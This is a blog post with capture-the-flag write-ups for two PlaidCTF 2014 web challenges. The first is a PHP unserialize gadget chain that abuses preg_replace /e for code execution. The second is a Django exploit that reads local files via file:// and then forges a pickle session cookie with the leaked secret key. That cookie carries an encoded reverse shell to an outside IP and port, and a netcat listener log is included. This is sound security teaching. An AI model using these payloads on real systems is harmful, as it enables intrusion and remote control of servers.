Sunday, April 27, 2014

PlaidCTF 2014 - kpop and reeekeee

kpop (web200)

We were given the source files of a service used to archive information about our favorite songs - after some quick skimming through the code, we saw that it used PHP serialize to keep the state and save revived data to db, and additionally used unserialize on user-supplied data. Could we use it? Yes we could. There is a nice _destruct method in the class in question, which appends data to logs.
-- _destruct --
  function writeLog($txt) {
    $txt = $this->format->format($txt);
    file_put_contents("/var/www/sqli/unserial/logs/" . $this->filename, $txt, FILE_APPEND);
  }
  ...
  function log($txt) {
    $this->logwriter->writeLog($txt);
  }
  ...
  function __destruct() {
    $this->song->log();
  }

-- _destruct -- 
Let's chain some class to write our file on disk... wait, we can't - there's no writable catalog anywhere in the filesystem. :( But hey, let's look carefully at logger - there's a preg_replace and we can control the regular expression!
-- logger --
class LogWriter_File {
  protected $filename;
  protected $format;
  function __construct($filename, $format) {
    $this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
    $this->format = $format;
  }
  function writeLog($txt) {
    $txt = $this->format->format($txt);
    file_put_contents("/var/www/sqli/unserial/logs/" . $this->filename, $txt, FILE_APPEND);
  }
};
-- logger --
By using the /e switch, we can execute arbitrary code:
-- exploit --
matchPattern=$a;$this->replacement=$b;}
}
class LogFileFormat {
  public $filters,$endl;
  function __construct($a){$this->filters=$a;$this->endl='';}
}
class LogWriter_File {
  protected $filename,$format;
  function __construct($b){$this->filename='';$this->format=$b;}
}
class Logger {
  protected $logwriter; 
  function __construct($a){$this->logwriter=$a;}
}
class Song {
  protected $logger,$name,$group,$url;
  function __construct($a){$this->url=$this->name=$this->group='';$this->logger=$a;}
}
class Lyrics { 
  protected $lyrics,$song;
  function __construct($a){$this->lyrics='';$this->song=$a;}
}
$of = new OutputFilter('/(.*)/e',$payload);
$w = new LogWriter_File(new LogFileFormat($of));
$e = new Lyrics(new Song(new Logger($w)));
echo base64_encode(serialize($e));
-- exploit --
Flag: One_of_our_favorite_songs_is_bubble_pop 
 

reekee (web200)

We were given the source files of a django based web service used to share and upload memes, and we could upload arbitrary files via HTTP. Neat.
-- cut --
    url = request.POST['url']
    text = request.POST['text']
    try:
      if "http://" in url:
        image = urllib2.urlopen(url)
      else:
        image = urllib2.urlopen("http://"+url)
    except:
-- cut --
Oh, only via HTTP? Nope, urllib2 can handle more than just HTTP URLs, it supports the file and ftp protocols, so we can use file:// to read local files - if we can squeeze in the "http://" string somewhere in the filename. In order to do it, we can put the "http://" after hash (see http://en.wikipedia.org/wiki/Fragment_identifier); something like "file://file#http://". By doing this, we could read arbitrary local files, but searching for flag / key yielded nothing, so we took a different road and saw that the session was serialized with pickle and cookie was signed in settings.py.
-- settings.py --
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
-- settings.py
The signing was done with an HMAC with a secret stored in settings.py. Let's read it and forge some cookies to get RCE (django code ripped from: https://github.com/danghvu/pwp)
--- exploit ---

import os, hashlib, sys, pickle
import requests, subprocess
from hmac import new as hmac
from base64 import b64encode as b64
from lxml import etree
def send_django(key, add, payload,t):
    def base64(s): #taken from django
        import base64
        return base64.urlsafe_b64encode(s).strip(b'=')

    def salted_hmac(salt, value, secret): #taken from django
        key = hashlib.sha1((salt + secret).encode('utf-8')).digest()
        return hmac(key, msg=value, digestmod=hashlib.sha1).digest()

    import time
    import baseconv #taken from django

    timestamp = baseconv.base62.encode(str(int(time.time())))
    data = base64(payload)+":"+timestamp
    mac = base64(salted_hmac('django.contrib.sessions.backends.signed_cookiessigner', data, key)) #default salt by django
    s = '%(payload)s:%(time)s:%(mac)s'%{'payload':base64(payload), 'time':timestamp, 'mac':mac}
    t.update({'sessionid':s})
    return requests.get(add, cookies=t)

IP = '91.228.198.97'
PORT = 41412
url ='http://54.82.251.203:8000'
r = requests.get(url+'/login')
cook = r.cookies
tok = r.cookies['csrftoken']
print tok
r = requests.post(url+'/login',data={'username':'dragonfap','password':'dragonfap','csrfmiddlewaretoken':tok},cookies=cook)
print r.text
p = "ctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'YwAAAAAFAAAAAwAAAEMAAABzmAAAAHQAAGQBAIMBAH0AAHQAAGQCAIMBAH0BAHQAAGQDAIMBAH0CAHwAAGoBAIMAAH0DAHwDAGoCAGQLAIMBAAF8AgBqAwB8AwBqBACDAABkBgCDAgABfAIAagMAfAMAagQAgwAAZAcAgwIAAXwCAGoDAHwDAGoEAIMAAGQIAIMCAAF8AQBqBQBkCQBkCgBnAgCDAQB9BABkAABTKAwAAABOdAYAAABzb2NrZXR0CgAAAHN1YnByb2Nlc3N0AgAAAG9zcw0AAAA5MS4yMjguMTk4Ljk3acShAABpAAAAAGkBAAAAaQIAAABzBwAAAC9iaW4vc2hzAgAAAC1pKAIAAABzDQAAADkxLjIyOC4xOTguOTdpxKEAACgGAAAAdAoAAABfX2ltcG9ydF9fUgAAAAB0BwAAAGNvbm5lY3R0BAAAAGR1cDJ0BgAAAGZpbGVub3QEAAAAY2FsbCgFAAAAdAIAAABzc3QCAAAAc3BSAgAAAHQBAAAAc3QBAAAAcCgAAAAAKAAAAABzGAAAAC9ob21lL21hay9waHVuL3BpY2tsZS5weXQDAAAAcHduBgAAAHMSAAAAAAIMAQwBDAEMAA0BFgAWABYB'\ntRtRc__builtin__\nglobals\n(tRS''\ntR(tR."
SECRET_KEY = 'kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-'
r = send_django(SECRET_KEY,url+'/make',p,cook)
print r.text
--- exploit ---
On listener:
$ nc -l -p 41412
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(reekee) gid=1001(reekee) groups=1001(reekee)
$ give_me_the_flag.exe  mymeme  use_exe_to_read_me.txt
$ ./give_me_the_flag.exe
flag: why_did_they_make_me_write_web_apps
write: Success

No comments:

Post a Comment